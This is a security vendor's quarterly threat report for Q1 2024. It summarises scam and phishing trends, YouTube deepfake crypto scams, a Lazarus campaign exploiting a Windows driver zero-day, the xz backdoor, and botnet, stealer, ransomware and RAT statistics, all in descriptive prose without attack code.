Nearly 90% of Threats Blocked are Social Engineering, Revealing a Huge Surge of Scams, and Discovery of the Lazarus APT Campaign

Foreword

We’re pleased to present the latest edition of our report for the first quarter of 2024, which has been nothing short of eventful. Here are some highlights.

Not all heroes wear capes. Just a few weeks ago, developer Andres Freund disrupted a covert threat operation that had been running for over two years. The threat actors, who managed to insert a backdoor into the widely used open-source compression library XZ/liblzma, were stopped just in time by Andres. While the identity of the threat actors remains unknown, the potential ramifications of their actions could have been catastrophic – they were almost able to gain access to any Linux machine running an infected distribution. This incident has raised important questions about the security of open-source code and its integration into critical systems and applications.

Social engineering attacks continue to be the largest threat across platforms and continue to increase their share of threats. In the mobile device landscape, more than 90% of all threats blocked in the last quarter originated from scams and similar threat types. This trend is mirrored on desktop platforms, with 87% of threats falling into the same categories. Scams, in particular, have seen a significant surge (61% on mobile and 23% on desktop), fueled by malvertising and the proliferation of malicious push notifications. The risk of falling victim to these attacks has nearly doubled in certain regions, such as Ukraine, highlighting the global reach and impact of these malicious activities. Moreover, scam authors are deploying increasingly sophisticated tactics, including the use of deepfake technology, AI-manipulated audio synchronization, and the hijacking of popular YouTube channels to disseminate fraudulent content, amplifying the potential for financial harm.

Dating scams also continue to surge, particularly in North America and Europe, with Central Europe emerging as a hotspot for such activity. Phishing remains a persistent threat, steadily increasing over the past six quarters. Prevalent phishing campaigns are detailed further in this report.

On the desktop front, we’ve uncovered a sophisticated APT campaign orchestrated by the Lazarus Group, targeting individuals in Asia with deceptive job offers. Furthermore, we discovered and reported to Microsoft an in-the-wild exploit within a Windows driver, subsequently utilized by a sophisticated rootkit in this campaign. Additionally, botnet activity has been a cause for concern – with notable updates observed in the Twizt botnet which now includes brute-forcing capabilities for Server Message Block (SMB) protocol credentials – and the expansion of the malicious DDosia project. Interestingly, the DDosia project faced frequent downtimes due to countermeasures taken by unidentified individuals. Furthermore, we successfully assisted Ukrainian CERT with the remediation of the DirtyMoe botnet.

The prevalence of Malware-as-a-Service (MaaS) stealers, exemplified by DarkGate and Luma, remains a significant threat. These malicious actors capitalize on every opportunity to deploy social engineering tactics to distribute malware.

Ransomware incidents also experienced a slight uptick in Q1/2024, notably marked by the LockBit ransomware making headlines for its initial takedown by law enforcement units, only to resurface shortly after. Furthermore, our researchers identified a new ransomware strain named HomuWitch and promptly responded by developing decryption tools to assist affected individuals. This effort supplements our previous creation, the Rhysida decryption tool, which continues to aid victims of Rhysida in recovering their files.

In the realm of remote access trojans (RATs), law enforcement units have successfully executed operations against notorious threats like the Warzone RAT, resulting in several arrests. This decisive action has already yielded tangible results, as evidenced by our telemetry data.

On the mobile front, we’ve witnessed several intriguing developments, including the resurgence of adware on the PlayStore, the emergence of MoqHao, a banker strain capable of auto-starting on victim devices, and the proliferation of GoldPickaxe, which attempts to steal facial recognition biometrics for fraudulent activities. Additionally, state-sponsored spyware continues to pose a threat to citizens.

Thank you for your continued trust in Avast. Stay safe and secure.

Jakub Křoustek, Malware Research Director

Methodology

This report is structured into two main sections: Desktop-related threats, where we describe our intelligence around attacks targeting the Windows, Linux, and Mac operating systems, with a specific emphasis on web-related threats, and Mobile-related threats, where we describe the attacks focusing on Android and iOS operating systems.

We use the term “risk ratio” in this report to denote the severity of specific threats. This is calculated as a monthly average of “Number of attacked users / Number of active users in a given country.” Unless stated otherwise, calculated risks are only available for countries with more than 10,000 active users per month.

A blocked attack is defined as a unique combination of the protected user and a blocked threat identifier within the specified time frame.

Featured Story: YouTube – the New Battleground for Phishing, Malvertising, and Cryptoscams 

YouTube, with its 2.5 billion users, has become a trusted and significant target for malvertising. The combination of automated advertising systems and user-generated content provides a gateway for cybercriminals to bypass conventional security measures, making YouTube a potent channel for deploying phishing and malware. Notable threats on the platform include credential stealers like Lumma and Redline, phishing and scam landing pages, and malicious software disguised as legitimate software or updates. Additionally, YouTube serves as a conduit to Traffic Distribution Systems (TDS), directing users to malicious sites and supporting scams ranging from fake giveaways to investment schemes.

Our web scanning endpoints actively block thousands of HTTP requests, daily, that are redirected from YouTube as our users view content. This activity reflects a worrying trend: 

• 4 millions unique users were protected against threats on YouTube in 2023 
• Approx 500k unique users per month protected in Q1/2024

The rise of DeepFake videos in YouTube poses significant risks by realistically mimicking people or events, misleading viewers, and spreading disinformation. In Q1 we observed multiple compromised YouTube accounts with more than 50 million subscribers hijacked to spread Cryptoscam Deefake videos (more about this topic is described below in the Scam section). 

Threat actors frequently utilize automated uploads and Search Engine Optimization (SEO) poisoning to enhance the visibility of harmful content. Additionally, fake comments are rampant, deceiving viewers, promoting dangerous links, and exploiting YouTube’s algorithms and user engagement to disseminate cyber threats.

There are numbers of ways in which YouTube can be exploited to disseminate threats. Observed basic Tactics and Procedures (TTP) on YouTube include:

1. Phishing Campaigns Targeting Creators: Attackers send personalized emails to YouTube creators proposing fraudulent collaboration opportunities. Once trust is established, they send links to malware under the guise of software needed for collaboration, often leading to cookie theft or account compromise. 
2. Compromised Video Descriptions: Attackers upload videos with descriptions containing malicious links, masquerading as legitimate software downloads related to gaming, productivity tools, or even antivirus programs, tricking users into downloading malware
3. Channel Hijacking for Spreading Threats: By gaining control of YouTube channels through phishing or malware, attackers repurpose these channels to promote various types of threats, such as cryptocurrency scams, often involving fake giveaways that require an initial deposit from viewers.
4. Exploitation of Software Brands and Legitimate-Looking Domains: Attackers create websites that mimic reputable companies and offer illegitimate downloadable software, exploiting users’ trust.
5. Social Engineering via Video Content: Attackers post tutorial videos or offers for cracked software, guiding users to download malware disguised as helpful tools. This tactic takes advantage of users seeking free access to otherwise paid services or software, leveraging YouTube’s search and recommendation algorithms to target potential victims.

David Jursa, Malware Researcher
Luis Corrons, Security Evangelist

Desktop-Related Threats

Advanced Persistent Threats (APTs): Lazarus Group in the Spotlight

An Advanced Persistent Threat (APT) is a type of cyberattack that is conducted by highly skilled and determined hackers who have the resources and expertise to penetrate a target’s network and maintain a long-term presence undetected.

We discovered a Lazarus Group campaign targeting specific individuals in Asia with misleading job offers. The precise intent of the campaign remains unknown, but the selective nature of these attacks indicates a focused interest in individuals possessing technical expertise. We suspect that these technically skilled individuals might have connections to companies involved in the gambling or betting industry, aligning with Lazarus Group’s financial motivations.

We believe the Lazarus Group used fabricated job offers to gain access to the personal computers of these victims who also used these devices for work purposes. It is likely that, a few days after the initial compromise, the attackers realized the victims had access to their company networks. Consequently, Lazarus employed sophisticated rootkit technologies to evade security measures and some security vendors.

This approach reflects the Lazarus Group’s historical tactics of exploiting vulnerable drivers and employing advanced rootkit techniques to disrupt security systems and maintain persistent access.

In this specific instance, Lazarus exploited a vulnerability in the standard Windows driver, appid.sys (CVE-2024-21338), to neutralize security software. Further details on this vulnerability can be found in our related blog post.

The complexity of these attack chains suggests that Lazarus devoted substantial resources to their planning and execution. Before executing the attack, Lazarus carefully prepared by deploying fileless malware and encrypting their tools directly onto the hard drives, as detailed in the blog post and as we recently presented at Black Hat Asia 2024 conference.

The careful and highly targeted choice of victims suggests that establishing some level of trust or connection was likely necessary before initiating the malware. The deployment of such a sophisticated arsenal, coupled with the exploit, highlights significant strategic foresight and resource commitment.

Luigino Camastra, Malware Researcher
Igor Morgenstern, Malware Researcher

Bots (With a Twist)

Bots are threats mainly interested in securing long-term access to devices with the aim of utilizing their resources, be it remote control, spam distribution, or denial-of-service (DoS) attacks.

To start on a lighter note, the biggest news in the botnet landscape was an unfortunate article in Swiss media outlet Aarguaer Zeitung which claimed a large-scale DDoS attack of millions of toothbrushes running Java. While the thought of a web-connected toothbrush running Java (which were also allegedly DDosing some random Swiss webpage) is really scary, it has been soon rectified as an inaccurate report and there was no such army of Pro-Russian toothbrushes, as the initial report suggested.

Now, unfortunately, onto the more serious note. On the geopolitical side of the threat landscape, Ukrainian state-owned enterprises have been significantly hit with DirtMoe. Due to our extensive research on DirtMoe, CERT-UA reached out to us to assist them with the remediation. Based on the experience from this successful remediation, an advisory on DirtyMoe was published by CERT-UA.

Twizt botnet has received a new module in its update providing functionality that fuels its sextortion campaign. This module relies on the common strategy of extorting the user with fake and sensitive information that was allegedly recovered from their device or account. In the case of the former, the threat actor usually refers to a device infected with RAT, in the case of the latter, the message usually contains a fake sender header and a password to give the impression that the user’s mail account has been hacked. Nevertheless, all the sent information is fabricated, and the password was quite likely taken from one of the leaked password databases that are circulating the dark web.

Last year, Twizt started bruteforcing Virtual Network Computing (VNC) credentials. At the beginning of the year, they switched to brute-forcing SMB credentials, instead. Twizt contains a hard-coded list of username/password pairs that are tried against a randomly generated target. Successful authentications are then reported to its command-and-control (C&C) server.

Our usual story on DDosia has a very surprising twist this quarter. Presumably, someone was actively targeting the DDosia C&C infrastructure, repeatedly causing outages in the proxy servers fronting real C&C servers. This resulted in rapid infrastructure changes in this outer layer, with every new proxy C&C having an approximate lifetime of 2 days before being unavailable again. Due to the absence of a client update mechanism in case of C&C outage, this forced the project owners to produce new clients every few days. Later, they started distributing new clients exclusively via private messages, presumably to reduce information exposure.

The requirement to manually update DDosia’s binary with each update along with frequent C&C outages resulted in a significant decrease in the impact of their attacks. This has prompted a heated backlash on the project’s Telegram channel where “patriotic activists” started complaining that these issues are seriously impacting their cash-flow. 

This was particularly notable around February 19 when eight proxy C&Cs were shut down for five days. Even after this date, they were not able to return to their previous efficacy. The only peak during Q1/2024 is an attack at the end of March when DDosia targeted services associated with the Luxembourg government. While the number of successful targets seems to be rather high, it targeted infrastructure that was hosted on only 3 IP addresses with many subdomains. These turbulent changes were crowned by a move to a different Telegram group called “DDoSia Project” on March 7 with the original group being removed. While, up to that date, the original group was growing, ending with approximately 20,000 members, the new group started up with only around 12,000 members and soon continued in this downward trend.

While in the previous quarter DDosia was mostly focusing on banks, during the first quarter of 2024 DDosia focused mostly on various industry consortia, courts, press agencies, CERTs, and transport and logistic companies. The underlying logic stayed mostly the same – finding targets within countries that went against Russian interests.

As for the trends in the whole botnet landscape, many of the prevalent strains have stagnated. Still, we’ve seen several bigger shifts in their prevalence, including increased activity of BetaBot (13%). On the other hand, most of the other strains seem to be in decline with the following strains seeing the biggest drops: Pikabot (-48%), Tofsee (-31%), MyKings (-21%), and Dridex (-21%).

Adolf Středa, Malware Researcher

Coinminers Continue to Decline

Coinminers are programs that use a device’s hardware resources to verify cryptocurrency transactions and earn cryptocurrency as compensation. However, in the world of malware, coinminers silently hijack a victim’s computer resources to generate cryptocurrency for an attacker. Regardless of whether a coinminer is legitimate or malware, it’s important to follow our guidelines.

In the previous quarter, we observed a continued decline in the prevalence of coinminers. This downward trend persisted into Q1/2024, where the risk ratio decreased by a substantial 28%. This decrease was influenced by a slight reduction in the coinminer malware share of XMRig, which had surged in the previous quarter. However, nearly all other major coinminers actually increased in activity, thereby expanding their share.

After the surge in the USA and Turkey the previous quarter, the situation calmed down a bit and we observed 39% decrease in risk ratio both countries. According to our data, more significant declines happened in India (22%), Egypt (19%), and Pakistan (13%). In total, the biggest risk of getting infected by a coinminers is still in Madagascar (2.18% risk ratio), Turkey (1.47%), Pakistan (1.35%), and Egypt (1.14%).

In the graph below, we can observe a steady decline in coinmining activities.

XMRig, the long-time most popular coinminer, decreased in coinminer malware share by 6% this quarter. Yet, it still holds 60% of the total share. All other major coinminers saw an increase in their activity, including web miners (5% increase), CoinBitMiner (24%), FakeKMSminer (37%), among others. On the other hand, SilentCryptoMiner lost 58% share this quarter.

The most common coinminers with their malware share in Q1/2024 were:

• XMRig (59.53%)
• Web miners (20.20%)
• CoinBitMiner (2.67%)
• FakeKMSminer (2.03%)
• NeoScrypt (1.75%)
• CoinHelper (1.05%)
• VMiner (0.86%)
• SilentCryptoMiner (0.84%)

Jan Rubín, Malware Researcher

Information Stealers are Still Dominated by AgentTesla

Information stealers are dedicated to stealing anything of value from the victim’s device. Typically, they focus on stored credentials, cryptocurrencies, browser sessions/cookies, browser passwords and private documents.

AgentTesla, traditionally the most prevalent information stealer we protect our users against, continued to attack users by leveraging email campaigns. One such campaign targeted Czechia, spreading the stealer via malicious attachments.

TimbreStealer, targeting almost explicitly users in Mexico, is a newcomer in the information stealers landscape. The malware is quite advanced and multi-modular, containing techniques like Heaven’s gate, among many others. It also introduces many tricks for preventing execution in sandboxes and proper debugging.

Malware-as-a-Service (MaaS) stealers continue to thrive, finding new distribution methods whenever possible. For example, DarkGate was observed to be spread via Microsoft Teams, using phishing. Furthermore, from the more technical perspective, DarkGate was exploiting Microsoft Windows SmartScreen (CVE-2024-21412).

We have also observed a DarkGate campaign distributed via malicious PDF files, abusing crypto exchange and the WebDAV server. The malware delivery was done using an InternetShortcut link (.URL file), downloading the content from an opendir.

On the other hand, Lumma Stealer, which is yet another MaaS stealer, continues to spread via cracked software propagated on YouTube, using fake tutorials to mislead victims. This further emphasizes that such strains – and their creators – never miss an opportunity to leverage social engineering to distribute malware.

With regards to macOS, AtomicStealer, also known as AMOS, saw a consistent rise in occurrences on this platform during Q1/2024. This typically obfuscated malware is known for stealing passwords, cryptocurrency wallets, and cookies. It often infiltrates systems via counterfeit applications or through Google Ads poisoning. The existence of multiple generations of this threat suggests that it is likely to persist in the future, which is further underlined by its new version that was carried by a malvertising campaign in the beginning of the year.

In terms of Linux, Python information stealers were the more prevalent strains of this type with well-known malware families like Spidey, Creal, Wasp or PirateStealer. Additionally, in this quarter we uncovered a new malware strain identified as PassSniff/Putin and written in C++ that, instead of stealing the passwords from disk, steals the passwords by sniffing the HTTP traffic using both, generic rules and specific rules targeting popular services and applications.

Statistics

Overall, the global risk ratio decreased by 8% in Q1/2024 for information stealers. However, many popular stealers further increased their reach, including AgentTesla, Stealc, Fareit, and ViperSoftX.

Each of the countries where we observe the risk ratio with regards to information stealers and where we have more significant userbase thankfully experienced a decrease in activity compared to the previous quarter:

• Turkey (2.29%) with 23% Q/Q decrease
• Pakistan (2.05%) with 11% Q/Q decrease
• Egypt (1.78%) with 10% Q/Q decrease

On the other hand, we also measured increases in activity in Mexico and Czechia, following the aforementioned TimbreStealer and AgentTesla campaigns, were the risk ratio increased by 25% and 14%, respectively.

AgentTesla, the most prevalent information stealer according to our data, has increased its malware share by 17%. Its campaigns primarily target Central Europe and both North and South America. As a result, it now holds a significant 30.31% of the malware share. Notably, almost every bigger information stealer experienced an increase in activity, including Fareit (34% increase), Stealc (33%), ViperSoftX (28%), and Azorult (14%). FormBook’s share decreased by 32%, as well as Lokibot’s by 50%, balancing the scales of the overall activity of information stealers.

The most common information stealers with their malware shares in Q1/2024 were:

• AgentTesla (30.31%)
• Fareit (7.55%)
• FormBook (6.92%)
• RedLine (4.37%)
• Stealc (2.81%)
• ViperSoftX (2.28%)
• Azorult (1.93%)
• ClipBanker (1.72%)
• Raccoon (1.56%)
• Lokibot (1.41%)
• Rhadamanthys (1.36%)

Jan Rubín, Malware Researcher
David Álvarez, Malware Analyst

Ransomware: Fighting it Back

Ransomware is any type of extorting malware. The most common subtype is the one that encrypts documents, photos, videos, databases, and other files on the victim’s PC. Those files become unusable without decrypting them first. To decrypt the files, attackers demand money, “ransom”, hence the term ransomware.

The LockBit Story

In the previous threat report, we discussed new ransomware attacks. One of the top ransomware strains (or gangs, if you wish) is LockBit, which continues its encryption and extortion attacks with an undiminished intensity.

Because of the notoriety of LockBit, their – albeit brief – takedown in Q1/2024 was watched closely by the public.  On February 19, operation Cronos was announced, which was a joint operation between law enforcement agencies in 10 countries. As a part of this operation, the FBI successfully breached the LockBit infrastructure, secured about 1000 private encryption keys and released a public decryptor. The following is the timeline surrounding the initiative:

• Feb 19: Operation Cronos was unveiled. LockBit leak site was replaced by a landing page from the associated law enforcement agencies:
  

• The main panel was replaced with a version augmented by the authorities, outing the criminality of ransomware operators:

• Feb 20: Two LockBit operators (Poland and Ukraine) were arrested, and a few other individuals were indicted for their involvement in LockBit operations
• LockBit informed all their affiliates about the breach
• For four days, there was no information about new victims of the LockBit ransomware
• Feb 24: A long message from LockBit was published by DarkWebInformer. This message explained what happened and questioned the law enforcement agencies’ success. The author of the message explains that some of his servers were running an outdated version of PHP and hence were vulnerable to CVE-2023-3824.
• Feb 25: The LockBit leak site was restored, with the FBI now shown as one of the victims. Additionally, the information about leaked data from Fulton County was re-uploaded. Note that the Fulton County Government was allegedly attacked by LockBit on Feb 14 and the leaked data was mentioned in LockBit’s message as the reason that the FBI stopped the operation instead of silently watching the servers and exfiltrating LockBit’s data increasingly, as their criminal activities continued.
  

• Feb 26: LockBit operators restored their cyber-attacks and re-started attacking multiple companies daily. No, this is not a story with a happy conclusion (so far).

A tool for decrypting LockBit-encrypted data using one of 1000 seized encryption keys is. The importance of these encryption keys has been questioned by the LockBit operator himself, saying (quote) “Note that the vast majority of unprotected decryptors are from partners who encrypt brute force dedicas and spam single computers, taking $2000 ransoms” (end quote). Users attacked by LockBit ransomware may use the tool to verify if their data can be decrypted using one of the keys that were seized during the Cronos operation.

Another LockBit-related incident happened at the beginning of 2024, which demonstrates some of the ransomware operators’ modus operandi. After LockBitSupp gained access to an unspecified company, encrypted their data, and received ransom payout, he that provided access to the network.

This little incident shows what ransomware operators do to penetrate a company:

1. Ransomware operator “buys an access” which means obtaining information about a company, its vulnerabilities and how to breach its network.
2. Then the operator maps the company network and eventually deploys the ransomware.
3. When the attacked company pays the ransom, the “access seller” gets paid for the access.

Ransomware Decryptors

As a part of the ongoing battle against ransomware, Avast released two ransomware decryptors: HomuWitch and Rhysida.

HomuWitch

HomuWitch is a ransomware that stayed under the radar since July 2023, because it targets end users with smaller ransom demands (25 – 75 USD). Searching for pirated software is the most common infection vector – instead of the desired software, users may download SmokeLoader backdoor, which later installs malicious dropper for the ransomware payload.

Unlike most ransomware strains that perform file encryption, HomuWitch also adds compression, so the encrypted files are smaller than their originals. When executed, HomuWitch searches local drives and user folders (Pictures, Downloads, Documents). All files of interest (.pdf, .doc, .docx, .ppt, .pptx, .xls, .py, .rar, .zip, .7z, .txt, .mp4, .JPG, .PNG, .HEIC, .csv) are encrypted and renamed to the .homuencrypted extension:

While analyzing this ransomware, we found a vulnerability that allows affected users to recover their files for free. We released free decryptor that is available on our website.

Rhysida

Rhysida is another ransomware strain defeated by the free decryption tool. This ransomware has been active since May 2023 and focuses on the enterprise sector. During summer, we discovered that this ransomware strain is decryptable without having the private RSA key, so we have been helping people who were attacked by the Rhysida ransomware.

In February 2024, Korean researchers also discovered that vulnerability and released their decryption tool publicly. It is always unfortunate to publish detailed information about the details of a vulnerability – we would like to ask fellow malware researchers not to do so and focus more on helping people affected by ransomware attacks.

Now that the details of the vulnerability are public, we also released a free decryption tool that is available both on our website and as part of the NoMoreRansom project.

Statistics

The most prevalent ransomware strains that we block in our userbase are listed below. As opposed to more popular threats like LockBit, Akira or BlackCat, you rarely read about those strains in media because – instead of attacking a large company and demanding millions of USD as ransom – these strains focus on either individual users or small businesses, and they demand ransoms that are in the thousands of dollars range.

• WannaCry (21% of ransomware share)
• Enigma (12%)
• STOP (12%)
• Mallox (aka TargetCompany) (3%)
• DarkSide (2%)
• Cryptonite (1%)

The overall ransomware risk ratio in our user base is showing an increase when compared to the previous quarter. The situation started escalating in March 2024:

The ransomware risk ratio per country is depicted on the following map. We have noticed a significant increase in Bulgaria, Japan, Czechia, and Hungary where the risk ratio more than doubled Q/Q.

Ladislav Zezula, Malware Researcher
Jakub Křoustek, Malware Research Director

Remote Access Trojans (RATs): The End of Warzone

A Remote Access Trojan (RAT) is a type of malicious software that allows unauthorized individuals to gain remote control over a victim’s computer or device. RATs are typically spread through social engineering techniques, such as phishing emails or infected file downloads. Once installed, RATs grant the attacker complete access to the victim’s device, enabling them to execute various malicious activities, such as spying, data theft, remote surveillance, and even taking control of the victim’s webcam and microphone.

Similarly to Q1/2023 and the Netwire takedown, this year also begins with a takedown action against one of the major players in the RAT scene – the  Warzone RAT was taken down at the beginning of February. According to our data, the effect was immediately visible as a sudden drop in the number of detected attacks by Warzone. Besides this takedown, it was a rather slow start to the year with only a few notable events in the RAT sphere.

Compared to Q4/2023, the global risk ratio in the first quarter of 2024 is following a downward trend. There are several reasons for this decline. The big players Remcos, njRAT, and AsyncRat seem to have eased off a little and the number of attacks in Q1/2024 was lower than what we typically see. The takedown action against Warzone might have caused some RAT operators to halt or pause their activities. While we see increased activity of less prevalent malware strains, this isn’t enough to compensate the overall attack numbers.

The top 3 countries and RATs have not changed. We still see the highest risk ratio in Afghanistan, Iraq and Yemen, with HWorm and njRAT as the most active threats there.

The biggest increase in risk ratio was observed in Canada (+69%) due to increased activity of XWorm in February. This led to XWorm increasing its malware share by 378% which makes it the most prevalent RAT in Canada. The second highest share is in New Zealand (+33%) followed by Switzerland (+14%). Remcos was the dominant force in both countries. Despite this rise of risk ratio, Switzerland is still among the safest countries regarding RAT attacks.

The most prevalent remote access trojan strains in our userbase are as follows:

• HWorm
• Remcos
• njRAT
• AsyncRat
• QuasarRAT
• Warzone
• FlawedAmmyy
• XWorm
• NanoCore
• DarkComet

Although the overall number of detected attacks by Remcos slightly dropped, it is still very active. We recently warned about a campaign targeting most of Eastern Europe; this campaign was created in the Russian language and used a common lure “Invoice payment confirmation”.

We already mentioned XWorm in relation to Canada, however it also managed to increase its presence in most parts of the world. We also see XWorm frequently releasing new versions.

On February 7, an international operation targeted the Warzone RAT resulting in the seizure of four domains, including the primary site “warzone.ws”, and server infrastructure. One suspect was arrested in Malta and another in Nigeria. The FBI led the operation with assistance from Europol, the U.S. Department of Justice, and local law enforcement agencies. The suspects are accused of selling and advertising the RAT, providing support, and unauthorized damage to protected computers.

FortiGuard Labs also uncovered a phishing campaign spreading a new RAT, VCURMS. The campaign uses a downloader with payloads stored on public services like AWS and GitHub. There are two known payloads – the new VCURMS and STRRAT. STRRAT is also a remote access trojan which appeared in 2020. The interesting part of VCURMS is its unusual command and control channel. It communicates using emails with a Proton Mail address. Like STRRAT, VCURMS is also coded in Java. Another notable feature is its infostealer module which looks similar to RudeStealer.

Phylum and Sonatype discovered another supply chain attack in Q1/2024. Both teams found malicious packages in PyPI. These packages deploy a RAT that can also steal information from infected machines. Phylum named this threat “poweRAT”, because it relies on PowerShell in the early stages. Both reports mention the following packages as affected: pyrologin, easytimestamp, discorder, discord-dev, style.py and pythonstyles. Sonatype followed up on this story, adding several more packages to the list and showing how this threat has evolved. Communication with the C&C server happens via a Cloudflare Tunnel created from the infected machine, which means the malware does not need to modify any firewall settings. The features of RAT and information-stealing components are common on their own – however, when they combine, they create quite  a dangerous threat. Phylum refers to it as a “RAT on steroids” and Sonatype as “RAT mutant”.

Ondřej Mokoš, Malware Researcher

Vulnerabilities and Exploits: An Actively Exploited Admin-to-Kernel Zero-Day

Exploits take advantage of flaws in legitimate software to perform actions that should not be allowed. They are typically categorized into remote code execution (RCE) exploits, which allow attackers to infect another machine, and local privilege escalation (LPE) exploits, which allow attackers to take more control of a partially infected machine.

In the February Patch Tuesday update, Microsoft patched CVE-2024-21338, a zero-day admin-to-kernel vulnerability discovered by Avast researchers. This zero-day was initially exploited in the wild by the Lazarus Group, who used it to enable an updated version of their FudModule data-only rootkit. This marked a significant improvement in capabilities, as previous versions of the FudModule rootkit were enabled by targeting known vulnerable drivers for BYOVD (Bring Your Own Vulnerable Driver) attacks. 

Upgrading from BYOVD techniques to a zero-day in a built-in driver made the entire attack significantly stealthier, however, this wasn’t the only upgrade. Lazarus also revamped the rootkit functionality, targeting registry callbacks, object callbacks, process/thread/image callbacks, file system minifilters, Windows Filtering Platform, Event Tracing for Windows, and image verification callbacks. Additionally, the threat actors implemented a noteworthy handle table entry manipulation technique, attempting to suspend critical processes associated with Microsoft Defender, CrowdStrike Falcon, and HitmanPro. For a deeper understanding of this attack, we recommend reading our two technical blog posts or watching our Black Hat Asia 2024 talk.

In other news, the open-source world was shocked by the discovery of a backdoor in the xz/liblzma compression library. This backdoor was discovered by software engineer Andres Freund, who noticed that failing ssh logins were consuming suspicious amounts of CPU, and did the world a huge favor by deciding to investigate the root cause. The attacker(s) went by the name Jia Tan (their exact affiliation/motivation remain unclear) and demonstrated a remarkable level of patience, slowly building up trust by contributing to the open-source project for over two years. Eventually, they decided to strike and – over a number of commits – introduced the backdoor, the ultimate goal of which was to allow remote SSH logins to those with the possession of the right private key (CVE-2024-3094). 

Fortunately, the backdoor was discovered relatively early, so the attackers didn’t have enough time to get the malicious code merged into major Linux distributions like Debian or Red Hat. This was a close call, however, which should be very alarming, as this could have easily been one of the biggest security incidents that we have seen in recent years. While open-source code is often regarded as more trustworthy than its closed-source counterpart, this attack demonstrates that it comes with its own challenges. Many critical open-source projects are maintained with little funding by overworked volunteers, which might unfortunately make them vulnerable to similar attacks.

Another interesting discovery was related to hyperlinks in Outlook. While Outlook would, under usual circumstances, not follow “file://” protocol links to remote resources, Haifei Li of Check Point Research discovered that just adding an extra exclamation mark (“!”) followed by some arbitrary characters might change this behavior completely. This vulnerability was assigned CVE-2024-21413 and dubbed MonikerLink, as the exclamation mark essentially turns the link into a composite moniker. When a user received an email and clicked on such a link, the remote file would be fetched and possibly parsed in the background. 

Interestingly, the impact of this is twofold. First, following the link to load a resource from a remote SMB server represents yet another way to force NTLM authentication, allowing the remote server to capture NTLMv2 hashes. Second, an attacker might use this to trigger some vulnerable code, as the fetched resource might be opened in the background, attempting to look up the item moniker (the string appended after the exclamation mark). For instance, the Check Point blog demonstrated this on an RTF file, which would get opened in Microsoft Word outside protected view, representing a very sneaky 1-click vector to deliver an RTF exploit.

Jan Vojtěšek, Malware Researcher

Web Threats

The significance of web threats can be well seen not only in the numerical  statistics but also in the creativity of the scammers themselves. We see scammers trying to take advantage of different trends in different groups. These cybercriminals are using the latest technology in the field of AI, or they are not afraid to invest in their fraudulent practices to improve the sophistication of their scams through other methods. 

Last quarter, we reported that scams, together with phishing and malvertising, accounted for more than 75% of all threats blocked by Avast throughout the year. This quarter we have blocked  over 80% for the same type of threats. This indicates a rather interesting – and very scam-ridden – start to the year.

Scams Everywhere, Including Video

A scam is a type of threat that aims to trick users into giving an attacker their personal information or money. We track diverse types of scams which are listed below.

In our Q4/2023 report, we pointed out that scam activity is increasing significantly. At that time, we saw that one of the main reasons was the high rate of malvertising campaigns. This trend has continued in Q1/2024, with the activity level from the previous peak. 

Our data again shows that sites offer deals and then sending push-notifications are contributing significantly to this trend. With this in mind, we again urge everyone to always consider from which website you want to allow to send you notifications. Also remember that scammers try to disguise these offers of sending notifications as, for example, video players or as adult confirmations.

If you, unfortunately, allow access to malicious notifications, you may encounter the situation shown below. 

The increasing use of malvertising and push-notifications by scammers only confirms our predictions for 2024, when we repeatedly warned that this is a global threat with huge risk potential, especially on mobile phones.

If we look at activity in specific countries, we see that Ukraine exhibited the most significant surge in risk ratio, with a concerning 97% increase (the overall risk ratio for first quarter is set at 16.51%). 

Similarly, Kazakhstan and Uzbekistan displayed significant jumps in their risk ratios, +89% and +56% respectively, marking these countries as emerging hotspots for scam-related threats with overall risk ratios of 14.24% and 12.45%.

If we look further, we see interesting data for India, which also saw an increase in scam threats The current risk ratio for India is 17.26% with a quarter-over-quarter risk ratio increase of +24%.

We identified the highest scam risk ratio Georgia and Serbia in Q1/2024, with more than 30% risk ratio. In the absolute numbers, the majority of scam-targeted users were in France, Brazil, and the US.

Scam Delivery via Video

In Q1/2024 we continued to witness scam authors heavily using videos as lures in their scams. Whether video made from stock footage or an elaborate deep fake video, scammers are using all video varieties in their threats. One of the most widespread techniques involved exploiting famous individuals and significant media events to attract large audiences. As a result, scammers have devised enticing schemes that capitalize on the familiarity of well-known personalities and important world events.

An increasingly common feature of these campaigns is the use of deep fake videos, created by hijacking official videos from events and using AI to manipulate audio synchronization. These videos seamlessly blend altered audio with existing visuals, making it harder for the untrained eye to tell they’re anything but authentic. Moreover, scammers insert QR codes, leading to well-designed web pages, that promise exclusive opportunities, luring victims into further engagement.

Cryptocurrency scams of this type are particularly increasing. Once an individual moves from the video lure to the fraudulent website, they are presented with different scenarios for obtaining “beneficial” cryptocurrencies. Victims are fooled into believing that participating in these schemes will bring considerable profits. The scammers consistently promise victims the same profit margin, and victims receive the impression that – by sending any amount of cryptocurrency to specific wallets – they will receive double the amount in return. The websites even implement fake online wallet monitoring, imitating legitimate transaction activity. Additionally, these deceptive sites typically include images of well-known personalities and logos associated with  authentic  cryptocurrency-related companies, adding an air of legitimacy.

In Q1/2024, we observed several other incidents of abuse against famous individuals like Michael J. Saylor, Vitalik Buterin, Brad Garlinghouse, and Larry Fink.

However, the most significant cryptocurrency scam incident of the quarter was the misuse of the Starship Integrated Flight Test 3 (IFT-3). The attackers used the official SpaceX All Hands meeting video to deceive viewers and get them to visit the fraudulent websites. Moreover, the attackers have hijacked several YouTube channels, which have tens of millions of subscribers, to increase the probability of displaying a fake video in the list of recommended videos.

The preliminary analysis indicates that specific attackers’ wallets associated with these scams’ campaigns have cashflows reaching tens of thousands of dollars.

The risk ratio of this financial scam was stable in Q1/2024, but we recorded a significant peak on March 14, 2024, related to the IFT-3 event.

In terms of country distribution, the leading countries affected by the scammer group are the United States, the United Kingdom, and Germany.

Dating Scams Skyrocketing

Dating scams, also known as romance scams or online dating scams, involve fraudsters deceiving individuals into fake romantic relationships. Scammers adopt fake online identities to gain the victim’s trust, with the ultimate goal of obtaining money or enough personal information to commit identity theft.

The last quarter of last year was very interesting for dating scams, with several large campaigns witnessed through our data. In Q1/2024, we saw a significant increase since the middle of February. 

What is interesting is the high activity especially in Central Europe, with countries like Hungary, Slovakia, Denmark, Austria or the Czech Republic being the most affected.

Once again,  these threats are strongly supported by advertising campaigns. We often see that the sources of these advertising campaigns are sites with adult content. On such pages, the owners often try to get as much commission as possible by trying to fit advertising on their sites with almost every interaction on the page. The user is often overwhelmed with pop-ups or new window redirects, usually to dating scam sites.

As you can see on the map, Hungary leads with the highest risk ratio rate at 5.06%. Following closely are Slovakia and Luxembourg, with risk ratios of 4.72% and 4.57% respectively.

